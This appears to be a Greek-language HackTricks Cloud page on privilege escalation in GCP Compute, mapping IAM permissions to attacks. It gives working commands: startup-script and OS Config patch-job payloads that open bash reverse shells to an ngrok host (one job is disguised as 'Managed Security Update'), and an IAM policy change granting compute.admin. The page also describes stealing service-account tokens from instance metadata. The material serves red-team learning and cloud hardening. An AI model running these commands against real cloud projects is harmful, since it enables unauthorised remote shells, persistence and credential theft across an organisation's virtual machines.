GCP - Compute Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Compute
Για περισσότερες πληροφορίες σχετικά με το Compute και το VPC (δίκτυο) στο GCP, ελέγξτε:
Caution
Σημειώστε ότι για να εκτελέσετε όλες τις επιθέσεις ανύψωσης προνομίων που απαιτούν την τροποποίηση των μεταδεδομένων της παρουσίας (όπως η προσθήκη νέων χρηστών και SSH κλειδιών) είναι αναγκαίο να έχετε δικαιώματα
actAsπάνω στο SA που είναι συνδεδεμένο με την παρουσία, ακόμη και αν το SA είναι ήδη συνδεδεμένο!
compute.projects.setCommonInstanceMetadata
Με αυτή την άδεια μπορείτε να τροποποιήσετε τις πληροφορίες μεταδεδομένων μιας παρουσίας και να αλλάξετε τα εξουσιοδοτημένα κλειδιά ενός χρήστη, ή να δημιουργήσετε έναν νέο χρήστη με δικαιώματα sudo. Επομένως, θα μπορείτε να εκτελέσετε μέσω SSH σε οποιαδήποτε VM παρουσία και να κλέψετε τον GCP Service Account με τον οποίο εκτελείται η παρουσία.
Περιορισμοί:
- Σημειώστε ότι οι GCP Service Accounts που εκτελούνται σε VM παρουσίες από προεπιλογή έχουν πολύ περιορισμένο πεδίο
- Θα χρειαστεί να είστε σε θέση να επικοινωνήσετε με τον SSH διακομιστή για να συνδεθείτε
Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή την άδεια, ελέγξτε:
Μπορείτε επίσης να εκτελέσετε αυτή την επίθεση προσθέτοντας νέο startup-script και επανεκκινώντας την παρουσία:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Αυτή η άδεια δίνει τις ίδιες προνόμιες με την προηγούμενη άδεια αλλά σε συγκεκριμένες περιπτώσεις αντί για ολόκληρο το έργο. Οι ίδιες εκμεταλλεύσεις και περιορισμοί όπως στην προηγούμενη ενότητα ισχύουν.
compute.instances.setIamPolicy
Αυτού του είδους η άδεια θα σας επιτρέψει να παραχωρήσετε στον εαυτό σας έναν ρόλο με τις προηγούμενες άδειες και να κλιμακώσετε τα προνόμια εκμεταλλευόμενοι αυτές. Ακολουθεί ένα παράδειγμα προσθήκης roles/compute.admin σε έναν Λογαριασμό Υπηρεσίας:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Αν το OSLogin είναι ενεργοποιημένο στην περίπτωση, με αυτή την άδεια μπορείτε απλά να εκτελέσετε gcloud compute ssh [INSTANCE] και να συνδεθείτε στην περίπτωση. Δεν θα έχετε δικαιώματα root μέσα στην περίπτωση.
Tip
Για να συνδεθείτε επιτυχώς με αυτή την άδεια μέσα στην VM περίπτωση, πρέπει να έχετε την άδεια
iam.serviceAccounts.actAsπάνω στο SA που είναι συνημμένο στη VM.
compute.instances.osAdminLogin
Αν το OSLogin είναι ενεργοποιημένο στην περίπτωση, με αυτή την άδεια μπορείτε απλά να εκτελέσετε gcloud compute ssh [INSTANCE] και να συνδεθείτε στην περίπτωση. Θα έχετε δικαιώματα root μέσα στην περίπτωση.
Tip
Για να συνδεθείτε επιτυχώς με αυτή την άδεια μέσα στην VM περίπτωση, πρέπει να έχετε την άδεια
iam.serviceAccounts.actAsπάνω στο SA που είναι συνημμένο στη VM.
compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp
Είναι δυνατόν να δημιουργήσετε μια εικονική μηχανή με έναν ανατεθειμένο Λογαριασμό Υπηρεσίας και να κλέψετε το token του λογαριασμού υπηρεσίας αποκτώντας πρόσβαση στα μεταδεδομένα για να κλιμακώσετε τα δικαιώματα σε αυτόν.
Το exploit script για αυτή τη μέθοδο μπορεί να βρεθεί εδώ.
osconfig.patchDeployments.create | osconfig.patchJobs.exec
Αν έχετε τις άδειες osconfig.patchDeployments.create ή osconfig.patchJobs.exec μπορείτε να δημιουργήσετε μια εργασία patch ή ανάπτυξη. Αυτό θα σας επιτρέψει να κινηθείτε οριζόντια στο περιβάλλον και να αποκτήσετε εκτέλεση κώδικα σε όλες τις υπολογιστικές περιπτώσεις εντός ενός έργου.
Σημειώστε ότι αυτή τη στιγμή δεν χρειάζεστε άδεια actAs πάνω στο SA που είναι συνημμένο στην περίπτωση.
Αν θέλετε να εκμεταλλευτείτε αυτό χειροκίνητα, θα χρειαστεί να δημιουργήσετε είτε μια εργασία patch ή ανάπτυξη.
Για μια εργασία patch εκτελέστε:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Για να αναπτύξετε μια ανάπτυξη διορθώσεων:
gcloud compute os-config patch-deployments create <name> ...
Το εργαλείο patchy θα μπορούσε να έχει χρησιμοποιηθεί στο παρελθόν για την εκμετάλλευση αυτής της κακής ρύθμισης (αλλά τώρα δεν λειτουργεί).
Ένας επιτιθέμενος θα μπορούσε επίσης να το εκμεταλλευτεί για επιμονή.
compute.machineImages.setIamPolicy
Δώστε στον εαυτό σας επιπλέον δικαιώματα για την εικόνα υπολογιστή.
compute.snapshots.setIamPolicy
Δώστε στον εαυτό σας επιπλέον δικαιώματα για ένα στιγμιότυπο δίσκου.
compute.disks.setIamPolicy
Δώστε στον εαυτό σας επιπλέον δικαιώματα για έναν δίσκο.
Παράκαμψη Πεδίων Πρόσβασης
Ακολουθώντας αυτόν τον σύνδεσμο θα βρείτε μερικές ιδέες για να προσπαθήσετε να παρακάμψετε τα πεδία πρόσβασης.
Τοπική Κλιμάκωση Δικαιωμάτων σε GCP Compute instance
GCP - local privilege escalation ssh pivoting
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

